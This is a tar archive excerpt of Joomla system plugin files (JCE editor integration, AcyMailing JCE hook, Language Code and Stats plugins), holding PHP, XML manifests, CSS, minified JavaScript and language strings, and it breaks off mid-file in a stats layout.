                                                                                                                                                         system/jceacymailing/index.html                                                                     0000705                 00000000054 15242051520 0012655 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/jceacymailing/jceacymailing.xml                                                              0000705                 00000001260 15242051520 0014201 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>AcyMailing JCE integration</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to use the JCE editor with AcyMailing</description>
	<files>
		<filename plugin="jceacymailing">jceacymailing.php</filename>
	</files>
</extension>
                                                                                                                                                                                                                                                                                                                                                system/jceacymailing/jceacymailing.php                                                              0000705                 00000001076 15242051520 0014175 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgSystemJceacymailing extends JPlugin{
	function onBeforeWfEditorRender(&$settings) {
		if(JRequest::getString('option', '') != 'com_acymailing') return;

		$acycssfile = JRequest::getString('acycssfile');
		if(!empty($acycssfile)) $settings['content_css'] = $acycssfile;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  system/jce/css/media.css                                                                            0000705                 00000001460 15242051520 0011205 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       .field-media-wrapper .modal{height:90vh}.field-media-wrapper .modal div.modal-body{max-height:100%!important;width:100%;overflow:hidden;padding:0}.field-media-wrapper .modal .modal-body iframe[name=field-media-modal]{height:calc(90vh - 54px)!important;max-height:100vh}.field-media-wrapper .modal .modal-footer{display:none}#sbox-window{padding:5px!important}#sbox-window #sbox-content,#sbox-window #sbox-content iframe{margin:0!important;padding:0!important}.wf-media-input+.wf-media-upload-button{position:relative}.input-append .wf-media-input+.wf-media-upload-button{border-radius:0}.wf-media-input+.wf-media-upload-button>input[type=file]{position:absolute;left:0;top:0;width:100%;height:100%;font-size:100px;opacity:0;cursor:pointer}input.wf-media-upload-busy,input.wf-media-upload-hover{background-color:#eee}                                                                                                                                                                                                                system/jce/css/content.css                                                                          0000705                 00000002537 15242051520 0011606 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       .wf-columns{display:flex}.wf-columns .wf-column{max-width:100%;margin-left:.5em;box-sizing:border-box;flex:1}.wf-columns .wf-column:first-child{margin-left:inherit}.wf-columns .wf-column:last-child{margin-right:inherit}.wf-columns-stack-large,.wf-columns-stack-medium,.wf-columns-stack-small{flex-wrap:wrap}.wf-columns-align-left{justify-content:flex-start}.wf-columns-align-center{justify-content:center}.wf-columns-align-right{justify-content:flex-end}.wf-columns-layout-1-2>.wf-column:last-child,.wf-columns-layout-2-1>.wf-column:first-child{width:calc(100% * 2 / 3.001);flex:none}.wf-columns-layout-1-1-2>.wf-column:last-child,.wf-columns-layout-1-2-1>.wf-column:nth-child(2),.wf-columns-layout-2-1-1>.wf-column:first-child{width:50%;flex:none}.wf-columns-layout-1-3>.wf-column:last-child,.wf-columns-layout-3-1>.wf-column:first-child{width:75%;flex:none}@media (max-width:640px){.wf-columns-stack-small>.wf-column{width:100%;margin-left:inherit;margin-right:inherit;flex:auto!important}}@media (max-width:960px){.wf-columns-stack-medium>.wf-column{width:100%;margin-left:inherit;margin-right:inherit;flex:auto!important}}@media (max-width:1200px){.wf-columns-stack-large>.wf-column{width:100%;margin-left:inherit;margin-right:inherit;flex:auto!important}}@media (max-width:1600px){.wf-columns-stack-xlarge>.wf-column{width:100%;margin-left:inherit;margin-right:inherit}}                                                                                                                                                                 system/jce/jce.php                                                                                  0000705                 00000007326 15242051520 0010105 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php

/**
 * @copyright   Copyright (C) 2015 Ryan Demmer. All rights reserved
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved
 * @license     GNU General Public License version 2 or later
 */
defined('JPATH_BASE') or die;

/**
 * JCE.
 *
 * @since       2.5.5
 */
class PlgSystemJce extends JPlugin
{
    public function onPlgSystemJceContentPrepareForm($form, $data)
    {
        return $this->onContentPrepareForm($form, $data);
    }

    public function onAfterDispatch()
    {
        $app = JFactory::getApplication();

        // only in "site"
        if ($app->getClientId() !== 0) {
            return;
        }

        // only if enabled
        if ((int) $this->params->get('column_styles', 1) === 0) {
            return;
        }

        $document = JFactory::getDocument();
        $document->addStyleSheet(JURI::root(true) . '/plugins/system/jce/css/content.css?' . $document->getMediaVersion());
    }

    public function onWfContentPreview($context, &$article, &$params, $page)
    {
        $article->text = '<style type="text/css">@import url("' . JURI::root(true) . '/plugins/system/jce/css/content.css");</style>' . $article->text;
    }

    /**
     * adds additional fields to the user editing form.
     *
     * @param JForm $form The form to be altered
     * @param mixed $data The associated data for the form
     *
     * @return bool
     *
     * @since   2.5.20
     */
    public function onContentPrepareForm($form, $data)
    {
        $app = JFactory::getApplication();

        $version = new JVersion();

        if (!$version->isCompatible('3.4')) {
            return true;
        }

        if (!($form instanceof JForm)) {
            $this->_subject->setError('JERROR_NOT_A_FORM');

            return false;
        }

        $params = JComponentHelper::getParams('com_jce');

        if ((bool) $params->get('replace_media_manager', 1) === false) {
            return;
        }

        // get form name.
        $name = $form->getName();

        if (!$version->isCompatible('3.6')) {
            $valid = array(
                'com_content.article',
                'com_categories.categorycom_content',
                'com_templates.style',
                'com_tags.tag',
                'com_banners.banner',
                'com_contact.contact',
                'com_newsfeeds.newsfeed',
            );

            // only allow some forms, see - https://github.com/joomla/joomla-cms/pull/8657
            if (!in_array($name, $valid)) {
                return true;
            }
        }

        $config = JFactory::getConfig();
        $user = JFactory::getUser();

        if ($user->getParam('editor', $config->get('editor')) !== 'jce') {
            return true;
        }

        if (!JPluginHelper::getPlugin('editors', 'jce')) {
            return true;
        }

        $hasMedia = false;
        $fields = $form->getFieldset();

        foreach ($fields as $field) {
            if (method_exists($field, 'getAttribute') === false) {
                continue;
            }

            $name = $field->getAttribute('name');

            // avoid processing twice
            if (strpos($form->getFieldAttribute($name, 'class'), 'wf-media-input') !== false) {
                continue;
            }

            $type = $field->getAttribute('type');

            if (strtolower($type) === 'media') {
                $group = (string) $field->group;
                $form->setFieldAttribute($name, 'type', 'mediajce', $group);
                $hasMedia = true;
            }
        }
        
        // form has a converted media field
        if ($hasMedia) {
            $form->addFieldPath(JPATH_PLUGINS . '/system/jce/fields');
        }

        return true;
    }
}
                                                                                                                                                                                                                                                                                                          system/jce/jce.xml                                                                                  0000705                 00000002531 15242051520 0010107 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.8" type="plugin" group="system" method="upgrade">
  <name>plg_system_jce</name>
  <version>2.8.3</version>
  <creationDate>15-01-2020</creationDate>
  <author>Ryan Demmer</author>
  <authorEmail>info@joomlacontenteditor.net</authorEmail>
  <authorUrl>http://www.joomlacontenteditor.net</authorUrl>
  <copyright>Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved</copyright>
  <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
  <description>PLG_SYSTEM_JCE_XML_DESCRIPTION</description>
  <files folder="plugins/system/jce">
    <file plugin="jce">jce.php</file>
    <folder>css</folder>
    <folder>js</folder>
    <folder>fields</folder>
  </files>
  <languages folder="administrator/language/en-GB">
    <language tag="en-GB">en-GB.plg_system_jce.ini</language>
    <language tag="en-GB">en-GB.plg_system_jce.sys.ini</language>
  </languages>

  <config>
    <fields name="params">
      <fieldset name="options">
        <field name="column_styles" type="radio" default="1" label="PLG_SYSTEM_JCE_COLUMN_STYLES_LABEL" description="PLG_SYSTEM_JCE_COLUMN_STYLES_DESC" class="btn-group btn-group-yesno">
          <option value="1">JYES</option>
          <option value="0">JNO</option>
        </field>
      </fieldset>
    </fields>
  </config>

</extension>
                                                                                                                                                                       system/jce/js/media.js                                                                              0000705                 00000011160 15242051520 0010653 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /* jce - 2.8.3 | 2020-01-15 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2020 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function($){function uid(){var i,guid=(new Date).getTime().toString(32);for(i=0;i<5;i++)guid+=Math.floor(65535*Math.random()).toString(32);return"wf_"+guid+(counter++).toString(32)}function parseUrl(url){var data={},url=url.substring(url.indexOf("?")+1);return $.each(url.replace(/\+/g," ").split("&"),function(i,value){var val,param=value.split("="),key=decodeURIComponent(param[0]);2===param.length&&(val=decodeURIComponent(param[1]),"string"==typeof val&&val.length&&(data[key]=val))}),data}function upload(url,file){return new Promise(function(resolve,reject){var xhr=new XMLHttpRequest,formData=new FormData;xhr.upload&&(xhr.upload.onprogress=function(e){e.lengthComputable&&(file.loaded=Math.min(file.size,e.loaded))}),xhr.onreadystatechange=function(){4==xhr.readyState&&(200===xhr.status?resolve(xhr.responseText):reject(),file=formData=null)};var name=file.target_name||file.name;name=name.replace(/[\+\\\/\?\#%&<>"\'=\[\]\{\},;@\^\(\)£€$]/g,"");var args={method:"upload",id:uid(),inline:1,name:name},token=Joomla.getOptions?Joomla.getOptions("csrf.token"):"";token&&(args[token]=1),xhr.open("post",url,!0),xhr.setRequestHeader("X-Requested-With","XMLHttpRequest"),$.each(args,function(key,value){formData.append(key,value)}),formData.append("file",file),xhr.send(formData)})}function checkMimeType(file,filter){filter=filter.replace(/[^\w_,]/gi,"").toLowerCase();var map={images:"jpg,jpeg,png,gif,webp",media:"avi,wmv,wm,asf,asx,wmx,wvx,mov,qt,mpg,mpeg,m4a,m4v,swf,dcr,rm,ra,ram,divx,mp4,ogv,ogg,webm,flv,f4v,mp3,ogg,wav,xap",html:"html,htm,txt",files:"doc,docx,dot,dotx,ppt,pps,pptx,ppsx,xls,xlsx,gif,jpeg,jpg,png,webp,apng,pdf,zip,tar,gz,swf,rar,mov,mp4,m4a,flv,mkv,webm,ogg,ogv,qt,wmv,asx,asf,avi,wav,mp3,aiff,oga,odt,odg,odp,ods,odf,rtf,txt,csv,htm,html"},mimes=map[filter]||filter;return new RegExp(".("+mimes.split(",").join("|")+")$","i").test(file.name)}var counter=0,Joomla=window.Joomla||{};$.fn.WfMediaUpload=function(){return this.each(function(){function insertFile(value){var $wrapper=$(elm).parents(".field-media-wrapper"),inst=$wrapper.data("fieldMedia")||$wrapper.get(0);return inst&&inst.setValue?inst.setValue(value):$(elm).val(value).trigger("change"),!0}function getModalURL(){var $wrapper=$(elm).parents(".field-media-wrapper"),inst=$wrapper.data("fieldMedia")||$wrapper.get(0);return inst&&inst.url?inst.url:$(elm).siblings("a.modal").attr("href")}function uploadAndInsert(file){if(!file.name)return!1;var url=getModalURL(elm),params=parseUrl(url),url="index.php?option=com_jce",validParams=["task","context","plugin","filter"];return checkMimeType(file,params.filter||"images")?($.each(params,function(key,value){"task"===key&&(value="plugin.rpc"),$.inArray(key,validParams)===-1&&delete params[key]}),url+="&"+$.param(params),$(elm).prop("disabled",!0).addClass("wf-media-upload-busy"),void upload(url,file).then(function(response){$(elm).prop("disabled",!1).removeAttr("disabled").removeClass("wf-media-upload-busy");try{var o=JSON.parse(response),error="Unable to upload file";if($.isPlainObject(o)){o.error&&(error=o.error.message||error);var r=o.result;if(r){var files=r.files||[],item=files.length?files[0]:{};if(item.file)return insertFile(item.file)}}alert(error)}catch(e){alert("The server returned an invalid JSON response")}},function(){return $(elm).prop("disabled",!1).removeAttr("disabled").removeClass("wf-media-upload-busy"),!1})):(alert("The selected file is not supported."),!1)}var elm=document.getElementById(this.id)||this,$btn=$('<a title="Upload" class="btn wf-media-upload-button" role="button" aria-label="Upload"><i role="presentation" class="icon-upload"></i><input type="file" aria-hidden="true" /></a>');$('input[type="file"]',$btn).on("change",function(){if(this.files){var file=this.files[0];file&&uploadAndInsert(file)}}),$btn.insertAfter(elm),$(elm).on("drag dragstart dragend dragover dragenter dragleave drop",function(e){e.preventDefault(),e.stopPropagation()}).on("dragover dragenter",function(e){$(this).addClass("wf-media-upload-hover")}).on("dragleave",function(e){$(this).removeClass("wf-media-upload-hover")}).on("drop",function(e){var dataTransfer=e.originalEvent.dataTransfer;if(dataTransfer&&dataTransfer.files&&dataTransfer.files.length){var file=dataTransfer.files[0];file&&uploadAndInsert(file)}})})},$(document).ready(function($){$(".wf-media-input").removeAttr("readonly"),$(document).on("subform-row-add",function(event,row){$(row).find(".wf-media-input").removeAttr("readonly")}),$(".wf-media-input").WfMediaUpload()})}(jQuery);                                                                                                                                                                                                                                                                                                                                                                                                                system/jce/fields/mediajce.php                                                                      0000705                 00000004733 15242051520 0012352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     JCE
 *
 * @copyright   Copyright (C) 2005 - 2017 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (C) 2017 Ryan Demmer All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Provides a modal media selector field for the JCE File Browser
 *
 * @since  2.6.17
 */
class JFormFieldMediaJce extends JFormFieldMedia
{
    /**
     * The form field type.
     *
     * @var    string
     */
    protected $type = 'MediaJce';

    /**
     * Method to attach a JForm object to the field.
     *
     * @param   SimpleXMLElement  $element  The SimpleXMLElement object representing the `<field>` tag for the form field object.
     * @param   mixed             $value    The form field value to validate.
     * @param   string            $group    The field name group control value. This acts as an array container for the field.
     *                                      For example if the field has name="foo" and the group value is set to "bar" then the
     *                                      full field name would end up being "bar[foo]".
     *
     * @return  boolean  True on success.
     *
     * @see     JFormField::setup()
     */
    public function setup(SimpleXMLElement $element, $value, $group = null)
    {
        $result = parent::setup($element, $value, $group);

        if ($result === true) {
            $this->mediatype = isset($this->element['mediatype']) ? (string) $this->element['mediatype'] : 'images';
        }

        return $result;
    }

    /**
     * Get the data that is going to be passed to the layout
     *
     * @return  array
     */
    public function getLayoutData()
    {
        // Include jQuery
        JHtml::_('jquery.framework');

        $document = JFactory::getDocument();
        $document->addScript(JURI::root(true) . '/plugins/system/jce/js/media.js');
        $document->addStyleSheet(JURI::root(true) . '/plugins/system/jce/css/media.css');

        require_once JPATH_ADMINISTRATOR . '/components/com_jce/helpers/browser.php';
        $this->link = WFBrowserHelper::getMediaFieldLink($this->id, $this->mediatype);

        // Get the basic field data
        $data = parent::getLayoutData();

        $extraData = array(
            'link'      => $this->link,
            'class'     => $this->element['class'] . ' input-medium wf-media-input'
        );

        return array_merge($data, $extraData);
    }
}
                                     system/languagecode/index.html                                                                      0000705                 00000000037 15242051520 0012475 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/languagecode/language/en-GB/en-GB.plg_system_languagecode.sys.ini                            0000705                 00000000602 15242051520 0022242 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ; Joomla! Project
; (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_LANGUAGECODE="System - Language Code"
PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides ability to change the language code in the generated HTML document to improve SEO"

                                                                                                                              system/languagecode/language/en-GB/index.html                                                       0000705                 00000000037 15242051520 0015150 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/languagecode/language/en-GB/en-GB.plg_system_languagecode.ini                                0000705                 00000001641 15242051520 0021431 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ; Joomla! Project
; (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
; License GNU General Public License version 2 or later; see LICENSE.txt
; Note : All ini files need to be saved as UTF-8

PLG_SYSTEM_LANGUAGECODE="System - Language Code"
PLG_SYSTEM_LANGUAGECODE_FIELD_DESC="Changes the language code used for the <em>%s</em> language."
PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC="Changes the language code for the generated HTML document. Example usage: You have installed the fr-FR language pack and want the Search Engines to recognise the page as aimed at French-speaking Canada. Add the tag 'fr-CA' to the corresponding field for 'fr-FR' to resolve this."
PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL="Language codes"
PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION="Provides the ability to change the language code in the generated HTML document to improve SEO.<br />The fields will appear when the plugin is enabled and saved."
                                                                                               system/languagecode/language/index.html                                                             0000705                 00000000037 15242051520 0014260 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <!DOCTYPE html><title></title>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 system/languagecode/languagecode.php                                                                0000705                 00000010013 15242051520 0013622 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.languagecode
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Language Code plugin class.
 *
 * @since  2.5
 */
class PlgSystemLanguagecode extends JPlugin
{
	/**
	 * Plugin that changes the language code used in the <html /> tag.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function onAfterRender()
	{
		$app = JFactory::getApplication();

		// Use this plugin only in site application.
		if ($app->isClient('site'))
		{
			// Get the response body.
			$body = $app->getBody();

			// Get the current language code.
			$code = JFactory::getDocument()->getLanguage();

			// Get the new code.
			$new_code  = $this->params->get($code);

			// Replace the old code by the new code in the <html /> tag.
			if ($new_code)
			{
				// Replace the new code in the HTML document.
				$patterns = array(
					chr(1) . '(<html.*\s+xml:lang=")(' . $code . ')(".*>)' . chr(1) . 'i',
					chr(1) . '(<html.*\s+lang=")(' . $code . ')(".*>)' . chr(1) . 'i',
				);
				$replace = array(
					'${1}' . strtolower($new_code) . '${3}',
					'${1}' . strtolower($new_code) . '${3}'
				);
			}
			else
			{
				$patterns = array();
				$replace  = array();
			}

			// Replace codes in <link hreflang="" /> attributes.
			preg_match_all(chr(1) . '(<link.*\s+hreflang=")([0-9a-z\-]*)(".*\s+rel="alternate".*/>)' . chr(1) . 'i', $body, $matches);

			foreach ($matches[2] as $match)
			{
				$new_code = $this->params->get(strtolower($match));

				if ($new_code)
				{
					$patterns[] = chr(1) . '(<link.*\s+hreflang=")(' . $match . ')(".*\s+rel="alternate".*/>)' . chr(1) . 'i';
					$replace[] = '${1}' . $new_code . '${3}';
				}
			}

			preg_match_all(chr(1) . '(<link.*\s+rel="alternate".*\s+hreflang=")([0-9A-Za-z\-]*)(".*/>)' . chr(1) . 'i', $body, $matches);

			foreach ($matches[2] as $match)
			{
				$new_code = $this->params->get(strtolower($match));

				if ($new_code)
				{
					$patterns[] = chr(1) . '(<link.*\s+rel="alternate".*\s+hreflang=")(' . $match . ')(".*/>)' . chr(1) . 'i';
					$replace[] = '${1}' . $new_code . '${3}';
				}
			}

			// Replace codes in itemprop content
			preg_match_all(chr(1) . '(<meta.*\s+itemprop="inLanguage".*\s+content=")([0-9A-Za-z\-]*)(".*/>)' . chr(1) . 'i', $body, $matches);

			foreach ($matches[2] as $match)
			{
				$new_code = $this->params->get(strtolower($match));

				if ($new_code)
				{
					$patterns[] = chr(1) . '(<meta.*\s+itemprop="inLanguage".*\s+content=")(' . $match . ')(".*/>)' . chr(1) . 'i';
					$replace[] = '${1}' . $new_code . '${3}';
				}
			}

			$app->setBody(preg_replace($patterns, $replace, $body));
		}
	}

	/**
	 * Prepare form.
	 *
	 * @param   JForm  $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since	2.5
	 */
	public function onContentPrepareForm(JForm $form, $data)
	{
		// Check we are manipulating the languagecode plugin.
		if ($form->getName() !== 'com_plugins.plugin' || !$form->getField('languagecodeplugin', 'params'))
		{
			return true;
		}

		// Get site languages.
		if ($languages = JLanguageHelper::getKnownLanguages(JPATH_SITE))
		{
			// Inject fields into the form.
			foreach ($languages as $tag => $language)
			{
				$form->load('
					<form>
						<fields name="params">
							<fieldset
								name="languagecode"
								label="PLG_SYSTEM_LANGUAGECODE_FIELDSET_LABEL"
								description="PLG_SYSTEM_LANGUAGECODE_FIELDSET_DESC"
							>
								<field
									name="' . strtolower($tag) . '"
									type="text"
									label="' . $tag . '"
									description="' . htmlspecialchars(JText::sprintf('PLG_SYSTEM_LANGUAGECODE_FIELD_DESC', $language['name']), ENT_COMPAT, 'UTF-8') . '"
									translate_description="false"
									translate_label="false"
									size="7"
									filter="cmd"
								/>
							</fieldset>
						</fields>
					</form>
				');
			}
		}

		return true;
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     system/languagecode/languagecode.xml                                                                0000705                 00000001761 15242051520 0013645 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>
<extension version="3.1" type="plugin" group="system" method="upgrade">
	<name>plg_system_languagecode</name>
	<author>Joomla! Project</author>
	<creationDate>November 2011</creationDate>
	<copyright>(C) 2011 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>PLG_SYSTEM_LANGUAGECODE_XML_DESCRIPTION</description>
	<files>
		<filename plugin="languagecode">languagecode.php</filename>
		<folder>language</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_languagecode.ini</language>
		<language tag="en-GB">language/en-GB/en-GB.plg_system_languagecode.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<field
				name="languagecodeplugin"
				type="hidden"
				default="true"
			/>
		</fields>
	</config>
</extension>
               system/stats/field/uniqueid.php                                                                     0000705                 00000001334 15242051520 0012640 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PlgSystemStatsFormFieldBase', __DIR__ . '/base.php');

/**
 * Unique ID Field class for the Stats Plugin.
 *
 * @since  3.5
 */
class PlgSystemStatsFormFieldUniqueid extends PlgSystemStatsFormFieldBase
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'Uniqueid';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $layout = 'field.uniqueid';
}
                                                                                                                                                                                                                                                                                                    system/stats/field/base.php                                                                         0000705                 00000001345 15242051520 0011731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Base field for the Stats Plugin.
 *
 * @since  3.5
 */
abstract class PlgSystemStatsFormFieldBase extends JFormField
{
	/**
	 * Get the layouts paths
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutPaths()
	{
		$template = JFactory::getApplication()->getTemplate();

		return array(
			JPATH_ADMINISTRATOR . '/templates/' . $template . '/html/layouts/plugins/system/stats',
			dirname(__DIR__) . '/layouts',
			JPATH_SITE . '/layouts'
		);
	}
}
                                                                                                                                                                                                                                                                                           system/stats/field/data.php                                                                         0000705                 00000002240 15242051520 0011723 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('PlgSystemStatsFormFieldBase', __DIR__ . '/base.php');

/**
 * Unique ID Field class for the Stats Plugin.
 *
 * @since  3.5
 */
class PlgSystemStatsFormFieldData extends PlgSystemStatsFormFieldBase
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $type = 'Data';

	/**
	 * Name of the layout being used to render the field
	 *
	 * @var    string
	 * @since  3.5
	 */
	protected $layout = 'field.data';

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.5
	 */
	protected function getLayoutData()
	{
		$data       = parent::getLayoutData();

		$dispatcher = JEventDispatcher::getInstance();
		JPluginHelper::importPlugin('system', 'stats');

		$result = $dispatcher->trigger('onGetStatsData', array('stats.field.data'));

		$data['statsData'] = $result ? reset($result) : array();

		return $data;
	}
}
                                                                                                                                                                                                                                                                                                                                                                system/stats/layouts/message.php                                                                    0000705                 00000003014 15242051520 0013053 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var  PlgSystemStats             $plugin        Plugin rendering this layout
 * @var  \Joomla\Registry\Registry  $pluginParams  Plugin parameters
 * @var  array                      $statsData     Array containing the data that will be sent to the stats server
 */
?>
<div class="alert alert-info js-pstats-alert" style="display:none;">
	<button data-dismiss="alert" class="close" type="button">×</button>
	<h2><?php echo JText::_('PLG_SYSTEM_STATS_LABEL_MESSAGE_TITLE'); ?></h2>
	<p>
		<?php echo JText::_('PLG_SYSTEM_STATS_MSG_JOOMLA_WANTS_TO_SEND_DATA'); ?>
		<a href="#" class="js-pstats-btn-details alert-link"><?php echo JText::_('PLG_SYSTEM_STATS_MSG_WHAT_DATA_WILL_BE_SENT'); ?></a>
	</p>
	<?php
		echo $plugin->render('stats', compact('statsData'));
	?>
	<p><?php echo JText::_('PLG_SYSTEM_STATS_MSG_ALLOW_SENDING_DATA'); ?></p>
	<p class="actions">
		<a href="#" class="btn js-pstats-btn-allow-always"><?php echo JText::_('PLG_SYSTEM_STATS_BTN_SEND_ALWAYS'); ?></a>
		<a href="#" class="btn js-pstats-btn-allow-once"><?php echo JText::_('PLG_SYSTEM_STATS_BTN_SEND_NOW'); ?></a>
		<a href="#" class="btn js-pstats-btn-allow-never"><?php echo JText::_('PLG_SYSTEM_STATS_BTN_NEVER_SEND'); ?></a>
	</p>
</div>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    system/stats/layouts/stats.php                                                                      0000705                 00000001546 15242051520 0012575 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var  array  $statsData  Array containing the data that will be sent to the stats server
 */

$versionFields = array('php_version', 'db_version', 'cms_version');
?>
<dl class="dl-horizontal js-pstats-data-details"  style="display:none;">
	<?php foreach ($statsData as $key => $value) : ?>
		<dt><?php echo JText::_('PLG_SYSTEM_STATS_LABEL_' . strtoupper($key)); ?></dt>
		<dd><?php echo in_array($key, $versionFields) ? (preg_match('/\d+(?:\.\d+)+/', $value, $matches) ? $matches[0] : $value) : $value; ?></dd>
	<?php endforeach; ?>
</dl>
                                                                                                                                                          system/stats/layouts/field/data.php                                                                 0000705                 00000004332 15242051520 0013427 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.stats
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

extract($displayData);

/**
 * Layout variables
 * -----------------
 * @var   string   $autocomplete    Autocomplete attribute for the field.
 * @var   boolean  $autofocus       Is autofocus enabled?
 * @var   string   $class           Classes for the input.
 * @var   string   $description     Description of the field.
 * @var   boolean  $disabled        Is this field disabled?
 * @var   string   $group           Group the field belongs to. <fields> section in form XML.
 * @var   boolean  $hidden          Is this field hidden in the form?
 * @var   string   $hint            Placeholder for the field.
 * @var   string   $id              DOM id of the field.
 * @var   string   $label           Label of the field.
 * @var   string   $labelclass      Classes to apply to the label.
 * @var   boolean  $multiple        Does this field support multiple values?
 * @var   string   $name            Name of the input field.
 * @var   string   $onchange        Onchange attribute for the field.
 * @var   string   $onclick         Onclick attribute for the field.
 * @var   string   $pattern         Pattern (Reg Ex) of value of the form field.
 * @var   boolean  $readonly        Is this field read only?
 * @var   boolean  $repeat          Allows extensions to duplicate elements.
 * @var   boolean  $required        Is this field required?
 * @var   integer  $size            Size attribute of the input.
 * @var   boolean  $spellcheck      Spellcheck state for the form field.
 * @var   string   $validate        Validation rules to apply.
 * @var   string   $value           Value attribute of the field.
